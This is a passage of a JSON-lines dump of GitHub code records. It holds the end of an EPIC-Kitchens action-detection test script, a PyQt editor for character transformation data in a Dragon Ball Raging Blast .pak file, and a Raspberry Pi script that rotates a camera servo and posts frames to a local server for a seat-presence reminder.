cfg.NUM_GPUS == cfg.TEST.BATCH_SIZE\n        test_meter = AVAMeter(len(test_loader), cfg, mode=\"test\")\n    else:\n        assert (\n                len(test_loader.dataset)\n                % (cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS)\n                == 0\n        )\n        # Create meters for multi-view testing.\n        if cfg.TEST.DATASET == 'epickitchens':\n            test_meter = EPICTestMeter(\n                len(test_loader.dataset)\n                // (cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS),\n                cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS,\n                cfg.MODEL.NUM_CLASSES,\n                len(test_loader),\n                )\n        else:\n            test_meter = TestMeter(\n                len(test_loader.dataset)\n                // (cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS),\n                cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS,\n                cfg.MODEL.NUM_CLASSES,\n                len(test_loader),\n                )\n\n    # # Perform multi-view test on the entire dataset.\n    preds, labels, metadata = perform_test(test_loader, model, test_meter, cfg)\n\n    if du.is_master_proc():\n        if cfg.TEST.DATASET == 'epickitchens':\n            verb_predictions = preds[0].argmax(1)\n            noun_predictions = preds[1].argmax(1)\n\n            scores = pd.DataFrame(\n                {'narration_id': metadata, 'verb': verb_predictions, 'noun': noun_predictions}).set_index(\n                'narration_id')\n            scores['action'] = scores['verb'].apply(str) + ',' + scores['noun'].apply(str)\n            scores = scores.join(test_list)\n\n            output_json = {\n                'version': '0.2',\n                'challenge': 'action_detection',\n                'sls_pt': 2,\n                'sls_tl': 3,\n                'sls_td': 3,\n                'results': {}\n            }\n\n            groups = scores.groupby('video_id')\n            for vid in scores['video_id'].unique():\n                annotations = groups.get_group(vid)\n                detections = []\n                for _, ann in annotations.iterrows():\n                    detections.append({\n                        'verb': ann['verb'],\n                        'noun': ann['noun'],\n                        'action': ann['action'],\n                        'score': ann['score'],\n                        'segment': [ann['start_seconds'], ann['stop_seconds']]\n                    })\n                output_json['results'][vid] = detections\n\n            with open(os.path.join(cfg.OUTPUT_DIR, f\"action_detection_baseline_{cfg.EPICKITCHENS.TEST_SPLIT}.json\"),\n                      'w') as outfile:\n                json.dump(output_json, outfile)\n\n\ndef parse_args():\n    \"\"\"\n    Parse the following arguments for the video training and testing pipeline.\n    Args:\n        shard_id (int): shard id for the current machine. Starts from 0 to\n            num_shards - 1. If single machine is used, then set shard id to 0.\n        num_shards (int): number of shards using by the job.\n        init_method (str): initialization method to launch the job with multiple\n            devices. Options includes TCP or shared file-system for\n            initialization. details can be find in\n            https://pytorch.org/docs/stable/distributed.html#tcp-initialization\n        cfg (str): path to the config file.\n        opts (argument): provide addtional options from the command line, it\n            overwrites the config loaded from file.\n        \"\"\"\n    parser = argparse.ArgumentParser(\n        description=\"Provide SlowFast video training and testing pipeline.\"\n    )\n    parser.add_argument(\n        \"--shard_id\",\n        help=\"The shard id of current node, Starts from 0 to num_shards - 1\",\n        default=0,\n        type=int,\n    )\n    parser.add_argument(\n        \"--num_shards\",\n        help=\"Number of shards using by the job\",\n        default=1,\n        type=int,\n    )\n    parser.add_argument(\n        \"--init_method\",\n        help=\"Initialization method, includes TCP or shared file-system\",\n        default=\"tcp://localhost:9999\",\n        type=str,\n    )\n    parser.add_argument(\n        \"--cfg\",\n        dest=\"cfg_file\",\n        help=\"Path to the config file\",\n        default=\"configs/Kinetics/SLOWFAST_4x16_R50.yaml\",\n        type=str,\n    )\n    parser.add_argument(\n        \"opts\",\n        help=\"See slowfast/config/defaults.py for all options\",\n        default=None,\n        nargs=argparse.REMAINDER,\n    )\n    if len(sys.argv) == 1:\n        parser.print_help()\n    return parser.parse_args()\n\n\ndef load_config(args):\n    \"\"\"\n    Given the arguemnts, load and initialize the configs.\n    Args:\n        args (argument): arguments includes `shard_id`, `num_shards`,\n            `init_method`, `cfg_file`, and `opts`.\n    \"\"\"\n    # Setup cfg.\n    cfg = get_cfg()\n    # Load config from cfg.\n    if args.cfg_file is not None:\n        cfg.merge_from_file(args.cfg_file)\n    # Load config from command line, overwrite config from opts.\n    if args.opts is not None:\n        cfg.merge_from_list(args.opts)\n\n    # Inherit parameters from args.\n    if hasattr(args, \"num_shards\") and hasattr(args, \"shard_id\"):\n        cfg.NUM_SHARDS = args.num_shards\n        cfg.SHARD_ID = args.shard_id\n    if hasattr(args, \"rng_seed\"):\n        cfg.RNG_SEED = args.rng_seed\n    if hasattr(args, \"output_dir\"):\n        cfg.OUTPUT_DIR = args.output_dir\n\n    # Create the checkpoint dir.\n    #cu.make_checkpoint_dir(cfg.OUTPUT_DIR)\n    return cfg\n\n\ndef main():\n    \"\"\"\n    Main function to spawn the proposal classification process.\n    \"\"\"\n    args = parse_args()\n    cfg = load_config(args)\n\n    # Perform multi-clip testing.\n    if cfg.TEST.ENABLE:\n        if cfg.NUM_GPUS > 1:\n            torch.multiprocessing.spawn(\n                mpu.run,\n                nprocs=cfg.NUM_GPUS,\n                args=(\n                    cfg.NUM_GPUS,\n                    test,\n                    args.init_method,\n                    cfg.SHARD_ID,\n                    cfg.NUM_SHARDS,\n                    cfg.DIST_BACKEND,\n                    cfg,\n                ),\n                daemon=False,\n            )\n        else:\n            test(cfg=cfg)\n\n\nif __name__ == \"__main__\":\n    torch.multiprocessing.set_start_method(\"forkserver\")\n    main()\n","repo_name":"epic-kitchens/C2-Action-Detection","sub_path":"SlowFastProposalClassifier/run_net.py","file_name":"run_net.py","file_ext":"py","file_size_in_byte":13746,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"77"}
+{"seq_id":"6155523706","text":"import os\nimport stat\nimport functools\n\nfrom shutil import rmtree, copyfile\nfrom datetime import datetime\nfrom lib.design.character_parameters_editor_design import *\nfrom lib.design.select_chara import Ui_Dialog\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtWidgets import QLabel, QFileDialog, QMessageBox\nfrom lib.classes.Character import Character\n\n# Temp folder name\ntemp_folder = \"temp_\" + datetime.now().strftime(\"_%d-%m-%Y_%H-%M-%S\")\n# Path files\npak_file_path_original = \"\"\npak_file_path = \"\"\n\n# resources path\ndbrb_compressor_path = os.path.join(\"lib\", \"resources\", \"dbrb_compressor.exe\")\n\n# path images\npath_small_images = os.path.join(\"lib\", \"images\", \"small\")\npath_large_images = os.path.join(\"lib\", \"images\", \"large\")\npath_fourSlot_images = os.path.join(\"lib\", \"images\", \"fourSlot\")\npath_small_four_slot_images = os.path.join(path_fourSlot_images, \"small\")\n\n# base position transformations\nbase_pos_trans = 66723\n\n# number of bytes between each character\nsizeTrans = 33\n\n# panelPortraistlist\nmini_portraits_image = []\n\n# portraits object for the Select Character window\nchara_selected_character_window = 100\nmini_portraits_image_select_chara_window = []\n\n# List of character with their data from the file\ncharacter_list = []\nchara_selected = 0  # Index of the char selected in the program\ntrans_slot_panel_selected = 0  # Slot thas is being edited\n# Array of the characters that has been edited\ncharacter_list_edited = []\n\n# Store what character has original transform version\ncharacters_with_trans = [0, 5, 8, 17, 22, 24, 27, 29, 31, 34, 40, 48, 58, 63, 67, 79, 82, 85, 88]\n# Store what transformations has the character originally\ncharacters_with_trans_index = [[1, 2, 3], [6, 7], [9, 10], [18, 19, 20], [23], [25, 26], [28], [30], [32, 33],\n                               [35], [41], [49, 50, 51, 52], [59, 60, 61], [64, 65], [68, 69], [80], [83], [86], [89]]\n\n\ndef del_rw(name_method, path, error):\n    os.chmod(path, stat.S_IWRITE)\n    os.remove(path)\n\n    return name_method, error\n\n\nclass MainWindow(QtWidgets.QMainWindow, Ui_MainWindow):\n\n    def __init__(self, *args, **kwargs):\n\n        global mini_portraits_image, mini_portraits_image_select_chara_window\n\n        QtWidgets.QMainWindow.__init__(self, *args, **kwargs)\n        self.setupUi(self)\n\n        # File tab\n        self.actionOpen.triggered.connect(self.action_open_logic)\n        self.actionSave.triggered.connect(self.action_save_logic)\n        self.actionClose.triggered.connect(self.close)\n\n        # About tab\n        self.actionAuthor.triggered.connect(self.action_author_logic)\n        self.actionCredits.triggered.connect(self.action_credits_logic)\n\n        # Load all the mini portraits (main panel)\n        mini_portraits_image = self.panel.findChildren(QLabel)\n\n        for i in range(0, 62):\n            index_chara = mini_portraits_image[i].objectName().split(\"_\")[1]\n            mini_portraits_image[i].setPixmap(QPixmap(os.path.join(path_small_images, \"sc_chara_0\" +\n                                                                   index_chara + \".bmp\")))\n            mini_portraits_image[i].setStyleSheet(\"QLabel {border : 3px solid grey;}\")\n            mini_portraits_image[i].mousePressEvent = functools.partial(self.action_change_character,\n                                                                        index=int(index_chara),\n                                                                        modify_slot_transform=True)\n            mini_portraits_image[i].setDisabled(True)\n\n        for i in range(62, len(mini_portraits_image)):\n            mini_portraits_image[i].setStyleSheet(\"QLabel {border : 3px solid grey;}\")\n            mini_portraits_image[i].setVisible(False)\n\n        # Set the the main image\n        self.portrait.setVisible(False)\n\n        # Set the transform panel invisible\n        self.transPanel.setPixmap(QPixmap(os.path.join(path_fourSlot_images, \"pl_transform.png\")))\n        self.transPanel.setVisible(False)\n\n        # Load the Select Chara window\n        self.selectCharaWindow = QtWidgets.QMainWindow()\n        self.selectCharaUI = Ui_Dialog()\n        self.selectCharaUI.setupUi(self.selectCharaWindow)\n        mini_portraits_image_select_chara_window = self.selectCharaUI.frame.findChildren(QLabel)\n        for i in range(0, 100):\n            mini_portraits_image_select_chara_window[i].setPixmap(QPixmap(os.path.join(path_small_images,\n                                                                                       \"sc_chara_0\" +\n                                                                                       str(i).zfill(2) + \".bmp\")))\n            mini_portraits_image_select_chara_window[i].mousePressEvent = functools.partial(\n                self.action_edit_transformation, char_selected_new=i)\n\n    def action_edit_transformation(self, event, char_selected_new):\n\n        global chara_selected, trans_slot_panel_selected\n\n        # If the selected character in the window is the same as in the panel transformations,\n        # we assume there won't be any transformation in that slot\n        # so it will be 100\n        if character_list[chara_selected].transformations[trans_slot_panel_selected] == char_selected_new:\n            char_selected_new = 100\n\n        # Change the transformation in our array of characters\n        character_list[chara_selected].transformations[trans_slot_panel_selected] = char_selected_new\n\n        # Change the visual transformation\n        if trans_slot_panel_selected == 0:\n            self.transSlotPanel0.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                str(char_selected_new).zfill(2) + \".png\")))\n            self.transSlotPanel0.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                     index=char_selected_new, trans_slot_panel_index=0)\n        elif trans_slot_panel_selected == 1:\n            self.transSlotPanel1.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                str(char_selected_new).zfill(2) + \".png\")))\n            self.transSlotPanel1.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                     index=char_selected_new, trans_slot_panel_index=1)\n        elif trans_slot_panel_selected == 2:\n            self.transSlotPanel2.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                str(char_selected_new).zfill(2) + \".png\")))\n            self.transSlotPanel2.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                     index=char_selected_new, trans_slot_panel_index=2)\n        elif trans_slot_panel_selected == 3:\n            self.transSlotPanel3.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                str(char_selected_new).zfill(2) + \".png\")))\n            self.transSlotPanel3.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                     index=char_selected_new, trans_slot_panel_index=3)\n\n        # If the character was edited before, we won't append the index to our array of characters edited once\n        if character_list[chara_selected] not in character_list_edited:\n            character_list_edited.append(character_list[chara_selected])\n\n        self.selectCharaWindow.close()\n\n    def action_change_character(self, event, index=None, modify_slot_transform=False):\n\n        global chara_selected\n\n        # Change only if the char selected is other\n        if chara_selected != index:\n\n            # Load the portrait\n            self.portrait.setPixmap(QPixmap(os.path.join(path_large_images, \"chara_up_chips_l_0\" +\n                                                         str(index).zfill(2) + \".png\")))\n\n            # Load the transformations for the panel transformations\n            transformations = character_list[index].transformations\n            # Change panel transformations and their interactions\n            if transformations[0] != 100:\n                self.transSlotPanel0.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                    str(transformations[0]).zfill(2) + \".png\")))\n                self.transSlotPanel0.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=transformations[0],\n                                                                         trans_slot_panel_index=0)\n                self.transSlotPanel0.setVisible(True)\n            else:\n                self.transSlotPanel0.setPixmap(QPixmap())\n                self.transSlotPanel0.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=100, trans_slot_panel_index=0)\n            if transformations[1] != 100:\n                self.transSlotPanel1.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                    str(transformations[1]).zfill(2) + \".png\")))\n                self.transSlotPanel1.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=transformations[1],\n                                                                         trans_slot_panel_index=1)\n                self.transSlotPanel1.setVisible(True)\n            else:\n                self.transSlotPanel1.setPixmap(QPixmap())\n                self.transSlotPanel1.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=100, trans_slot_panel_index=1)\n            if transformations[2] != 100:\n                self.transSlotPanel2.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                    str(transformations[2]).zfill(2) + \".png\")))\n                self.transSlotPanel2.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=transformations[2],\n                                                                         trans_slot_panel_index=2)\n                self.transSlotPanel2.setVisible(True)\n            else:\n                self.transSlotPanel2.setPixmap(QPixmap())\n                self.transSlotPanel2.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=100, trans_slot_panel_index=2)\n            if transformations[3] != 100:\n                self.transSlotPanel3.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                                    str(transformations[3]).zfill(2) + \".png\")))\n                self.transSlotPanel3.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=transformations[3],\n                                                                         trans_slot_panel_index=3)\n                self.transSlotPanel3.setVisible(True)\n            else:\n                self.transSlotPanel3.setPixmap(QPixmap())\n                self.transSlotPanel3.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                         index=100, trans_slot_panel_index=3)\n\n            # Modify the slots of the transformations in the main panel\n            if modify_slot_transform:\n\n                # Disable all the transformations of the slots if it has been activated in the main panel\n                if self.label_trans_0.isVisible():\n                    self.label_trans_0.setVisible(False)\n                    self.label_trans_1.setVisible(False)\n                    self.label_trans_2.setVisible(False)\n                    self.label_trans_3.setVisible(False)\n\n                # Get the original transformations for the character\n                if index in characters_with_trans:\n                    transformations = characters_with_trans_index[characters_with_trans.index(index)]\n                    num_transformations = len(transformations)\n                    if num_transformations > 0:\n                        self.label_trans_0.setPixmap(QPixmap(os.path.join(path_small_images, \"sc_chara_0\" +\n                                                                          str(transformations[0]).zfill(2) + \".bmp\")))\n                        self.label_trans_0.mousePressEvent = functools.partial(self.action_change_character,\n                                                                               index=transformations[0],\n                                                                               modify_slot_transform=False)\n                        self.label_trans_0.setVisible(True)\n                        if num_transformations > 1:\n                            self.label_trans_1.setPixmap(QPixmap(os.path.join(path_small_images, \"sc_chara_0\" +\n                                                                              str(transformations[1]).zfill(2) +\n                                                                              \".bmp\")))\n                            self.label_trans_1.mousePressEvent = functools.partial(self.action_change_character,\n                                                                                   index=transformations[1],\n                                                                                   modify_slot_transform=False)\n                            self.label_trans_1.setVisible(True)\n                            if num_transformations > 2:\n                                self.label_trans_2.setPixmap(QPixmap(os.path.join(path_small_images, \"sc_chara_0\" +\n                                                                                  str(transformations[2]).zfill(2) +\n                                                                                  \".bmp\")))\n                                self.label_trans_2.mousePressEvent = functools.partial(self.action_change_character,\n                                                                                       index=transformations[2],\n                                                                                       modify_slot_transform=False)\n                                self.label_trans_2.setVisible(True)\n                                if num_transformations > 3:\n                                    self.label_trans_3.setPixmap(QPixmap(os.path.join(path_small_images,\n                                                                                      \"sc_chara_0\" +\n                                                                                      str(transformations[3]).zfill(2) +\n                                                                                      \".bmp\")))\n                                    self.label_trans_3.mousePressEvent = functools.partial(self.action_change_character,\n                                                                                           index=transformations[3],\n                                                                                           modify_slot_transform=False)\n                                    self.label_trans_3.setVisible(True)                                                                \n\n            # Store the actual index selected of the char\n            chara_selected = index\n\n    def action_open_logic(self):\n\n        global temp_folder, mini_portraits_image, character_list, pak_file_path_original, pak_file_path\n        global chara_selected, character_list_edited, character_list\n\n        # Open pak file\n        pak_file_path_original = \\\n            QFileDialog.getOpenFileName(self, \"Open file\", os.path.abspath(os.getcwd()), \"PAK files (*.pak)\")[0]\n\n        # Check if the user has selected a pak format file\n        if not os.path.exists(pak_file_path_original):\n            msg = QMessageBox()\n            msg.setWindowTitle(\"Error\")\n            msg.setText(\"A pak file is needed.\")\n            msg.exec()\n            return\n\n        # Check if the pak file is the correct one\n        with open(pak_file_path_original, mode=\"rb\") as pak_file:\n            pak_file.seek(78)\n            data = pak_file.read(26)\n            if data.decode('utf-8') != \"operate_resident_param.pak\":\n                msg = QMessageBox()\n                msg.setWindowTitle(\"Error\")\n                msg.setText(\"Selected file is not the correct one.\")\n                msg.exec()\n                return\n\n        basename = os.path.basename(pak_file_path_original)\n\n        # Create a folder where we store the necessary files or delete it. If already exists,\n        # we remove every files in it\n        if os.path.exists(temp_folder):\n            rmtree(temp_folder, onerror=del_rw)\n        os.mkdir(temp_folder)\n\n        # Execute the script in a command line for the pak file\n        pak_file_path = os.path.join(os.path.abspath(os.getcwd()), temp_folder, basename.replace(\".pak\", \"_d.pak\"))\n        args = os.path.join(dbrb_compressor_path) + \" \\\"\" + pak_file_path_original + \"\\\" \\\"\" + pak_file_path + \"\\\"\"\n        os.system('cmd /c ' + args)\n\n        # reset the values\n        character_list_edited.clear()\n        character_list.clear()\n        chara_selected = 0  # Index of the char selected in the program\n\n        # Read the file\n        with open(pak_file_path, mode=\"rb\") as pak_file:\n\n            # Read the data from the file\n            for i in range(0, 100):\n                character = Character()\n                character.positionTrans = base_pos_trans + (i * sizeTrans)\n                pak_file.seek(character.positionTrans)\n\n                # Transformation 1\n                character.transformations.append(int.from_bytes(pak_file.read(1), byteorder='little'))\n                # Transformation 2\n                character.transformations.append(int.from_bytes(pak_file.read(1), byteorder='little'))\n                # Transformation 3\n                character.transformations.append(int.from_bytes(pak_file.read(1), byteorder='little'))\n                # Transformation 4\n                character.transformations.append(int.from_bytes(pak_file.read(1), byteorder='little'))\n\n                character_list.append(character)\n\n        # Enable the characters portraits\n        for i in range(0, 62):\n            mini_portraits_image[i].setEnabled(True)\n\n        # Show the large portrait\n        self.portrait.setPixmap(QPixmap(os.path.join(path_large_images, \"chara_up_chips_l_000.png\")))\n        self.portrait.setVisible(True)\n\n        # Show the transformations in the main panel\n        self.label_trans_0.setPixmap(QPixmap(os.path.join(path_small_images, \"sc_chara_001.bmp\")))\n        self.label_trans_0.mousePressEvent = functools.partial(self.action_change_character,\n                                                               index=transformations[0], modify_slot_transform=False)\n        self.label_trans_1.setPixmap(QPixmap(os.path.join(path_small_images, \"sc_chara_002.bmp\")))\n        self.label_trans_1.mousePressEvent = functools.partial(self.action_change_character,\n                                                               index=transformations[1], modify_slot_transform=False)\n        self.label_trans_2.setPixmap(QPixmap(os.path.join(path_small_images, \"sc_chara_003.bmp\")))\n        self.label_trans_2.mousePressEvent = functools.partial(self.action_change_character,\n                                                               index=transformations[2], modify_slot_transform=False)\n        self.label_trans_0.setVisible(True)\n        self.label_trans_1.setVisible(True)\n        self.label_trans_2.setVisible(True)\n\n        # Show the transform panel\n        transformations = character_list[0].transformations\n        self.transText.setPixmap(QPixmap(os.path.join(path_fourSlot_images, \"tx_transform_US.png\")))\n        self.transSlotPanel0.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                            str(transformations[0]).zfill(2) + \".png\")))\n        self.transSlotPanel0.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                 index=transformations[0], trans_slot_panel_index=0)\n        self.transSlotPanel1.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                            str(transformations[1]).zfill(2) + \".png\")))\n        self.transSlotPanel1.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                 index=transformations[1], trans_slot_panel_index=1)\n        self.transSlotPanel2.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                            str(transformations[2]).zfill(2) + \".png\")))\n        self.transSlotPanel2.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                 index=transformations[2], trans_slot_panel_index=2)\n        self.transSlotPanel3.setPixmap(QPixmap(os.path.join(path_small_four_slot_images, \"sc_chara_s_0\" +\n                                                            str(transformations[3]).zfill(2) + \".png\")))\n        self.transSlotPanel3.mousePressEvent = functools.partial(self.open_select_chara_window,\n                                                                 index=transformations[3], trans_slot_panel_index=3)\n        self.transPanel.setVisible(True)\n\n    def open_select_chara_window(self, event, index, trans_slot_panel_index):\n\n        global chara_selected_character_window, trans_slot_panel_selected\n\n        # Store in a global var what slot in the transformation panel has been selected\n        trans_slot_panel_selected = trans_slot_panel_index\n\n        # Avoid adding the red border to the character transform selected\n        if chara_selected_character_window != index:\n            # If the index is 100 (means there's no character transformation),\n            # we will remove the red border for the previous character transform panel\n            if index == 100:\n                mini_portraits_image_select_chara_window[chara_selected_character_window].setStyleSheet(\"QLabel {}\")\n            else:\n                mini_portraits_image_select_chara_window[index].setStyleSheet(\"QLabel {border : 3px solid red;}\")\n                if chara_selected_character_window != 100:\n                    mini_portraits_image_select_chara_window[chara_selected_character_window].setStyleSheet(\"QLabel {}\")\n                \n            chara_selected_character_window = index\n        self.selectCharaWindow.show()\n\n    def action_save_logic(self):\n\n        global character_list_edited, pak_file_path, pak_file_path_original\n\n        # If the user has edited one character, we will save\n        if character_list_edited:\n\n            # Create the output name\n            basename = os.path.basename(pak_file_path_original).replace(\".pak\",\n                                                                        datetime.now().strftime(\"_%d-%m-%Y_%H-%M-%S\"))\n\n            # Ask to the user where to save the file\n            path_output_file = QFileDialog.getSaveFileName(self, \"Save file\",\n                                                           os.path.abspath(os.path.join(os.getcwd(), basename)),\n                                                           \"PAK files (*.pak)\")[0]\n\n            if path_output_file:\n\n                pak_export_path = pak_file_path.replace(\".pak\", \"_m.pak\")\n                copyfile(pak_file_path, pak_export_path)\n\n                # We open the file decrypted\n                with open(pak_export_path, mode=\"rb+\") as file:\n\n                    # Change the transformations in the file\n                    for character in character_list_edited:\n                        file.seek(character.positionTrans)\n                        for transformation in character.transformations:\n                            file.write(transformation.to_bytes(1, byteorder=\"big\"))\n\n                # Generate the final file for the game\n                args = os.path.join(dbrb_compressor_path) + \" \\\"\" + pak_export_path + \"\\\" \\\"\" \\\n                    + path_output_file + \"\\\"\"\n                os.system('cmd /c ' + args)\n\n                # Remove the uncompressed modified file\n                os.remove(pak_export_path)\n\n                msg = QMessageBox()\n                msg.setWindowTitle(\"Message\")\n                message = \"The file were saved and compressed in: <b>\" + path_output_file \\\n                          + \"</b><br><br> Do you wish to open the folder?\"\n                message_open_saved_files = msg.question(self, '', message, msg.Yes | msg.No)\n\n                # If the users click on 'Yes', it will open the path where the files were saved\n                if message_open_saved_files == msg.Yes:\n                    # Show the path folder to the user\n                    os.system('explorer.exe ' + os.path.dirname(path_output_file).replace(\"/\", \"\\\\\"))\n\n        else:\n            msg = QMessageBox()\n            msg.setWindowTitle(\"Warning\")\n            msg.setText(\"The file hasn't been modified.\")\n            msg.exec()\n\n    def closeEvent(self, event):\n        if os.path.exists(temp_folder):\n            rmtree(temp_folder, onerror=del_rw)\n\n        if not self.selectCharaWindow.isHidden():\n            self.selectCharaWindow.setVisible(False)\n\n        event.accept()\n\n    @staticmethod\n    def action_author_logic():\n        msg = QMessageBox()\n        msg.setTextFormat(1)\n        msg.setWindowTitle(\"Author\")\n        msg.setText(\n            \"character parameters editor 1.0 by \"\n            \"<a href=https://www.youtube.com/channel/UCkZajFypIgQL6mI6OZLEGXw>adsl13</a>\")\n        msg.exec()\n\n    @staticmethod\n    def action_credits_logic():\n        msg = QMessageBox()\n        msg.setTextFormat(1)\n        msg.setWindowTitle(\"Credits\")\n        msg.setText('<ul>'\n                    '<li>To <b>revelation (revel8n) </b> from <a ''href=https://forum.xentax.com>XeNTaX</a> '\n                    'forum who made the compress/uncompress tool <i>dbrb_compressor.exe</i>.</li>'\n                    '<li>To the <a ''href=https://discord.gg/tBmcwkGUE6>Raging Blast Modding community</a>.</li>'\n                    '</ul>')\n        msg.exec()\n\n\nif __name__ == \"__main__\":\n    app = QtWidgets.QApplication([])\n    window = MainWindow()\n    window.show()\n    app.exec_()\n","repo_name":"adsl14/character-parameters-editor","sub_path":"character parameters editor.py","file_name":"character parameters editor.py","file_ext":"py","file_size_in_byte":27192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1944516896","text":"# -*- coding: utf-8 -*-\n\"\"\"\nA temple for a smart robot\n\n\"\"\"\nimport threading as Thrd\nimport RPi.GPIO as gpio\nimport time\nfrom PIL import Image\nimport sys\nimport thread\nimport requests\nimport os  # file io\nimport picamera\nfrom time import sleep\nimport base64\nimport io\n\ngpio.setmode(gpio.BCM)\ngpio.setwarnings(False)\ngpio.setup(20, gpio.OUT) #set pin 20 to output\n\npre_angle = 0\nnew_angle= 30            #turn 30 degree each time when pi does not detect a human body.\n\n\n\ndef Servo_Init(GPIO_Pins):\n    gpio.setwarnings(False)\n    # initialize BCM pin\n    gpio.setmode(gpio.BCM)\n    # set the pwm period\n\n    # set mode of servo control pins\n    gpio.setup(GPIO_Pins, gpio.OUT)\n    return gpio.PWM(GPIO_Pins, 50)\n\n\ndef Servo_Begin(s):\n    s.start(0)\n\n\ndef angleToDutyCycle(angle):\n    time = float((2 * angle * 100) / 180) + 50\n    return time / 20\n\n\ndef Servo_control(pre_angle, servo_num, angle, rotate_speed):\n\n    DutyCycle = angleToDutyCycle(angle)\n    Pre_DutyCycle = angleToDutyCycle(pre_angle)\n    i = DutyCycle - Pre_DutyCycle\n    if i > 0:\n        while i > 0:\n            servo_num.ChangeDutyCycle(DutyCycle - i)\n            i -= 0.1\n            time.sleep(rotate_speed)\n    elif i < 0:\n        while i < 0:\n            servo_num.ChangeDutyCycle(DutyCycle - i)\n            i += 0.1\n            time.sleep(rotate_speed)\n\ndef Servo_Update(loop_times, Servo_Pin, angle ,speed):\n    global pre_angle\n    for t in range (loop_times):\n        Servo_control(pre_angle, Servo_Pin, angle, speed)\n        pre_angle = angle\n\n\ndef http_post(url, stream):\n    global new_angle\n    print(\"In http_post\")\n    img = stream.read()          #read directly from the stream.\n    img = base64.b64encode(img)\n\n    r = requests.post(\"{}:5000/get_state\".format(url), data={   # post the request.\n        'current': img\n    })\n\n    json_response = r.json()\n    print(json_response)\n    on_seat = json_response[\"on_seat\"]    #key_val for if human is on-seat\n    stop = json_response[\"stop\"]          #key_val for if timer is stopped by the website.\n    if on_seat is not True:\n        #update value of new_angle here\n        if new_angle >= 150:              #if on_seat is FALSE, then turn the camera 30 degree each time to seek the user.\n            new_angle = 60\n            time.sleep(0.5)\n\n\n    return on_seat, stop\n\n\ndef Servo_Thread():\n    global pre_angle\n    global  new_angle\n    # initialize GPIO pins\n    Pin_list = 19\n    Servo_pin = Servo_Init(Pin_list)\n    Servo_Begin(Servo_pin)\n    pre_angle = 0\n    while True:\n        Servo_control(pre_angle,Servo_pin,new_angle,0.04)\n        pre_angle=new_angle\n\n\n\n\nif __name__==\"__main__\":\n\n        thread.start_new_thread(Servo_Thread,())\n\n        # initialize camera\n        reminder = 3 # second.\n        camera = picamera.PiCamera()\n        camera.resolution = (640, 480)\n        camera.rotation = 180\n        camera.start_preview()\n        sleep(2)  #load the camera\n        stream = io.BytesIO()              #enable stream.\n\n        while True:\n            camera.capture(stream, 'png')  #caputer in stream.\n            stream.seek(0)\n            on_seat, stop = http_post(\"http://192.168.43.244\", stream)  #ip may change.\n            stream.seek(0)\n\n            \n            print(stop,reminder)  # print each post.\n\n            if reminder > 0:\n                if stop:\n                    reminder = 3 #reset\n                elif not on_seat:\n                    reminder = 3\n                else:\n                    reminder -= 1\n            else:\n                #make noise- beep three times when the timer count down to zero.                \n                for j in range (3):\n                    gpio.output(20, gpio.HIGH)\n                    sleep(1)\n                    gpio.output(20, gpio.LOW)\n                    sleep(1)\n                reminder = 3  #reset\n                pass\n\n            sleep(1)\n\n        #camera.stop_preview()\n\n\n\n\n\n    #except Exception as e:\n        #print(\"wrong path\")\n        #pass\n","repo_name":"Kur1su0/Smart_ReminderV2","sub_path":"smart_robot.py","file_name":"smart_robot.py","file_ext":"py","file_size_in_byte":3970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
